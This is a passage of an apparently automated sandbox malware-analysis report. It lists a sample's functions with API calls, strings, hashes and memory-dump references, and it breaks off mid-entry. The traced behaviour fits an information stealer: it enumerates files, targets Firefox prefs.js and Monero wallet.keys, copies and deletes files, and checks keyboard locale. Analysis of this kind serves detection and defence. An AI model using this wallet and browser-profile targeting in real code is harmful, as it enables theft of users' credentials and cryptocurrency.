FindNextFileA.KERNEL32(000000FF,?), ref: 00C3F2AE
FindClose.KERNEL32(000000FF), ref: 00C3F2C3

Strings

%s\*.*, xrefs: 00C3ED32

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a2dc0c77194b3e865a951bdd1923189c539e1955ab2a11b27541413ca7bfa215
Instruction ID: c90318334bd68be7631cac20649ba34647e7d6320c80811fdffaf9d20bd66810
Opcode Fuzzy Hash: a2dc0c77194b3e865a951bdd1923189c539e1955ab2a11b27541413ca7bfa215
Instruction Fuzzy Hash: DEE1C172951218AAFB54FB61DC52EEE7338FF54300F4145A9B50A62092EF306F8ADF52

Function 00C3F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C515B8,00C50D96), ref: 00C3F71E
StrCmpCA.SHLWAPI(?,00C515BC), ref: 00C3F76F
StrCmpCA.SHLWAPI(?,00C515C0), ref: 00C3F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3FAB1
FindClose.KERNEL32(000000FF), ref: 00C3FAC3

Strings

prefs.js, xrefs: 00C3F812

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: e82a525782b1dbe0e4e9ac28b5688fc184496b1ae9ffe3d53a9193b91fd5ebd6
Instruction ID: ce60286ecaf54352c400ec3d6ef6586eed2758cfe666bafb22a56272c0b7325f
Opcode Fuzzy Hash: e82a525782b1dbe0e4e9ac28b5688fc184496b1ae9ffe3d53a9193b91fd5ebd6
Instruction Fuzzy Hash: EAB135719501189FEB24FF61DC56BEE7379BF94300F4085A8E80A96191EF305B4ADF92

Function 00C316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C5510C,?,?,?,00C551B4,?,?,00000000,?,00000000), ref: 00C31923
StrCmpCA.SHLWAPI(?,00C5525C), ref: 00C31973
StrCmpCA.SHLWAPI(?,00C55304), ref: 00C31989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C31D40
DeleteFileA.KERNEL32(00000000), ref: 00C31DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00C31E20
FindClose.KERNEL32(000000FF), ref: 00C31E32

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Strings

\*.*, xrefs: 00C317F1

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0aecccb04745fe0a132b0b93b095192a34a05f7090a50b2fcd39f22282db6e45
Instruction ID: fdec33b041c14b9581fbc0c9109d3d91e4ab8e44855bb5a9eedb08c0f5d1414b
Opcode Fuzzy Hash: 0aecccb04745fe0a132b0b93b095192a34a05f7090a50b2fcd39f22282db6e45
Instruction Fuzzy Hash: 9A120F71950118ABEB19FB60DC96EEE7378FF54300F4145A9B50A62091EF306F89DFA2

Function 00C3DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00C50C2E), ref: 00C3DE5E
StrCmpCA.SHLWAPI(?,00C514C8), ref: 00C3DEAE
StrCmpCA.SHLWAPI(?,00C514CC), ref: 00C3DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3E3E0
FindClose.KERNEL32(000000FF), ref: 00C3E3F2

Strings

\*.*, xrefs: 00C3DE26

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 4c09be76860beb4be9f20ab8666e7eb43e49e01939a1d5cca75cf107dd9a0f18
Instruction ID: 111795a56ab692dda2279b2e851379373de36c8f767597a4cd725cb923326205
Opcode Fuzzy Hash: 4c09be76860beb4be9f20ab8666e7eb43e49e01939a1d5cca75cf107dd9a0f18
Instruction Fuzzy Hash: 79F1B1718641189AEB25FB61DC95EEE7338FF54304F8141E9B41A62091EF306F8ADF62

Function 00FFEB58 Relevance: 14.2, Strings: 10, Instructions: 1658COMMON

Download Yara Rule

Strings

iq, xrefs: 00FFFF34
Qhw2, xrefs: 00FFF412
twf, xrefs: 00FFEE8C
*xk, xrefs: 00FFFF5C
%;U, xrefs: 00FFF60F
@T[?, xrefs: 00FFFABE
89?, xrefs: 00FFF7BC
>Qm, xrefs: 00FFFC34
q-w, xrefs: 00FFFC56
Qhw2, xrefs: 00FFF41E

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %;U$>Qm$@T[?$Qhw2$Qhw2$iq$q-w$*xk$89?$twf
API String ID: 0-2086535159
Opcode ID: f81ac385b1f4190c931435667f4da205058c52ca5d2cb38b05790ec58768633d
Instruction ID: ded5ad2c5cf5dad108db245c93f5dcd98e8ac0b2870612a30738474dccda3892
Opcode Fuzzy Hash: f81ac385b1f4190c931435667f4da205058c52ca5d2cb38b05790ec58768633d
Instruction Fuzzy Hash: CEB228F360C2049FE304AE29EC8567AFBE9EF94720F16493DEAC4C3744EA3558058697

Function 00C3DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C514B0,00C50C2A), ref: 00C3DAEB
StrCmpCA.SHLWAPI(?,00C514B4), ref: 00C3DB33
StrCmpCA.SHLWAPI(?,00C514B8), ref: 00C3DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3DDCC
FindClose.KERNEL32(000000FF), ref: 00C3DDDE

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: e3038d64ad225fc0ea0da398b119e0bd378e8190b4498a9b296e9cfbfd3b19e4
Instruction ID: fc0bc6d1fd09dfed5cc20187a2ba5ae2c52d1dd8e3e6b1238503808740756472
Opcode Fuzzy Hash: e3038d64ad225fc0ea0da398b119e0bd378e8190b4498a9b296e9cfbfd3b19e4
Instruction Fuzzy Hash: C4915172910104ABDB14FBB1EC96AED737DBB84304F408668FC1A96181EE349B5DDB93

Function 0100C25F Relevance: 11.6, Strings: 8, Instructions: 1617COMMON

Download Yara Rule

Strings

>v{u, xrefs: 0100C9AE
0;7, xrefs: 0100C8EB
G[~, xrefs: 0100CEDD
U*&B, xrefs: 0100C5D6
3ee[, xrefs: 0100CEB4
.N, xrefs: 0100CEBD
5 ^, xrefs: 0100CFDB
U!M, xrefs: 0100D492

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .N$3ee[$5 ^$>v{u$U*&B$U!M$0;7$G[~
API String ID: 0-4104747061
Opcode ID: a304f02f334dd3b03d21618f2b92d49457ce04f7a9c586f0285932926706c7af
Instruction ID: 4af9b91850291e7b62571bf3fd58bd55b33bc28df9fe4db1a472326656f95121
Opcode Fuzzy Hash: a304f02f334dd3b03d21618f2b92d49457ce04f7a9c586f0285932926706c7af
Instruction Fuzzy Hash: FAB217F360C2049FE304AE2DEC8567AFBE9EF94720F16463DEAC583744EA3558058693

Function 00C47B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

GetKeyboardLayoutList.USER32(00000000,00000000,00C505AF), ref: 00C47BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00C47BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00C47C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00C47C62
LocalFree.KERNEL32(00000000), ref: 00C47D22

Strings

/ , xrefs: 00C47C7F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a9b35d9a094cafaebf4e8f2da11b78130fca7a90a13bc09dd1d68155f5ac659d
Instruction ID: a84943b41c37cd29da9ad5e61304c637b8bfae034f35d0997914ab652976b337
Opcode Fuzzy Hash: a9b35d9a094cafaebf4e8f2da11b78130fca7a90a13bc09dd1d68155f5ac659d
Instruction Fuzzy Hash: 42415C71950218ABDB24DF95DC99BEEB778FF44700F204299E50AA2181DB342F89CFA1

Function 00C3E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00C50D73), ref: 00C3E4A2
StrCmpCA.SHLWAPI(?,00C514F8), ref: 00C3E4F2
StrCmpCA.SHLWAPI(?,00C514FC), ref: 00C3E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3EBDF

Strings

\*.*, xrefs: 00C3E44D

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: d84e3eb952e26aae74e8874422d22aee6c1209320a88762b95a8648d4149bb90
Instruction ID: c11abe0bff9ed55c2db3fd304ec223208bc92731c7e4f501e312f6b61ff20690
Opcode Fuzzy Hash: d84e3eb952e26aae74e8874422d22aee6c1209320a88762b95a8648d4149bb90
Instruction Fuzzy Hash: 06122172950118ABEB14FB60DC96EED7378BF54300F4145A9B90AA60D1EF306F89DF92

Function 010022D6 Relevance: 9.2, Strings: 6, Instructions: 1671COMMON

Download Yara Rule

Strings

k-q, xrefs: 0100291A
]_, xrefs: 01003521
OAn, xrefs: 010033F6
#1]7, xrefs: 01002A4E
/Mqy, xrefs: 01003155
Fp[g, xrefs: 0100359C

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #1]7$/Mqy$Fp[g$OAn$]_$k-q
API String ID: 0-1761499864
Opcode ID: ffe81614f9d12f9968c9f3ab64ccb95c5fd00ec504fc69526907b6d7cd9e7908
Instruction ID: b8ec23924fe1371369ae41aa8d06da1fe86091fb91f91666e9f8690632925262
